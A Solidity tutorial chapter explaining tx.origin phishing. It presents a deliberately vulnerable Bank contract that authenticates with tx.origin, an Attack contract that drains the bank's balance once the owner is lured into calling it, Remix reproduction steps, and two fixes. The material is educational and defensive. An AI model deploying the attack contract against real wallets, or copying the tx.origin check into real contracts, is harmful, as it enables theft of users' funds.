WTF Solidity S12. tx.origin Phishing Attack
Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies.
Twitter: @0xAA_Science | @WTFAcademy_
Community: Discord|Wechat|Website wtf.academy
Codes and tutorials are open source on GitHub: github.com/AmazingAng/WTF-Solidity
English translations by: @to_22X
In this lesson, we will discuss the tx.origin
phishing attack and prevention methods in smart contracts.
tx.origin
Phishing Attack
When I was in middle school, I loved playing games. However, the game developers implemented an anti-addiction system that only allowed players who were over 18 years old, as verified by their ID card number, to play without restrictions. So, what did I do? I used my parent's ID card number to bypass the system and successfully circumvented the anti-addiction measures. This example is similar to the tx.origin
phishing attack.
In Solidity, tx.origin
is used to obtain the original address that initiated the transaction. It is similar to msg.sender
. Let's differentiate between them with an example.
If User A calls Contract B, and then Contract B calls Contract C, from the perspective of Contract C, msg.sender
is Contract B, and tx.origin
is User A. If you are not familiar with the call
mechanism, you can read WTF Solidity 22: Call.
Therefore, if a bank contract uses tx.origin
for identity authentication, a hacker can deploy an attack contract and then induce the owner of the bank contract to call it. Even if msg.sender
is the address of the attack contract, tx.origin
will be the address of the bank contract owner, allowing the transfer to succeed.
Vulnerable Contract Example
Bank Contract
Let's take a look at the bank contract. It is very simple and includes an owner
state variable to record the contract owner. It has a constructor and a public
function:
- Constructor: Assigns a value to the
owner
variable when the contract is created. transfer()
: This function takes two parameters,_to
and_amount
. It first checkstx.origin == owner
and then transfers_amount
ETH to_to
. Note: This function is vulnerable to phishing attacks!
contract Bank {
address public owner; // Records the owner of the contract
// Assigns the value to the owner variable when the contract is created
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
// Check the message origin !!! There may be phishing risks if the owner is induced to call this function!
require(tx.origin == owner, "Not owner");
// Transfer ETH
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
Attack Contract
Next is the attack contract, which has a simple attack logic. It constructs an attack()
function to perform phishing and transfer the balance of the bank contract owner to the hacker. It has two state variables, hacker
and bank
, to record the hacker's address and the address of the bank contract to be attacked.
It includes 2
functions:
- Constructor: Initializes the
bank
contract address. attack()
: The attack function that requires theowner
address of the bank contract to call. When theowner
calls the attack contract, the attack contract calls thetransfer()
function of the bank contract. After confirmingtx.origin == owner
, it transfers the entire balance from the bank contract to the hacker's address.
contract Attack {
// Beneficiary address
address payable public hacker;
// Bank contract address
Bank bank;
constructor(Bank _bank) {
// Forces the conversion of the address type _bank to the Bank type
bank = Bank(_bank);
// Assigns the beneficiary address to the deployer's address
hacker = payable(msg.sender);
}
function attack() public {
// Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address
bank.transfer(hacker, address(bank).balance);
}
}
Reproduce on Remix
1. Set the value
to 10ETH, then deploy the Bank
contract, and the owner address owner
is initialized as the deployed contract address.
2. Switch to another wallet as the hacker wallet, fill in the address of the bank contract to be attacked, and then deploy the Attack
contract. The hacker address hacker
is initialized as the deployed contract address.
3. Switch back to the owner
address. At this point, we were induced to call the attack()
function of the Attack
contract. As a result, the balance of the Bank
contract is emptied, and the hacker's address gains 10ETH.
Prevention Methods
Currently, there are two main methods to prevent potential tx.origin
phishing attacks.
1. Use msg.sender
instead of tx.origin
msg.sender
can obtain the address of the direct caller of the current contract. By verifying msg.sender
, the entire calling process can be protected from external attack contracts.
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
2. Verify tx.origin == msg.sender
If you must use tx.origin
, you can also verify that tx.origin
is equal to msg.sender
. This can prevent external contract calls from interfering with the current contract. However, the downside is that other contracts will not be able to call this function.
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
require(tx.origin == msg.sender, "can't call by external contract");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
Summary
In this lesson, we discussed the tx.origin
phishing attack in smart contracts. There are two methods to prevent it: using msg.sender
instead of tx.origin
, or checking tx.origin == msg.sender
. It is recommended to use the first method, as the latter will reject all calls from other contracts.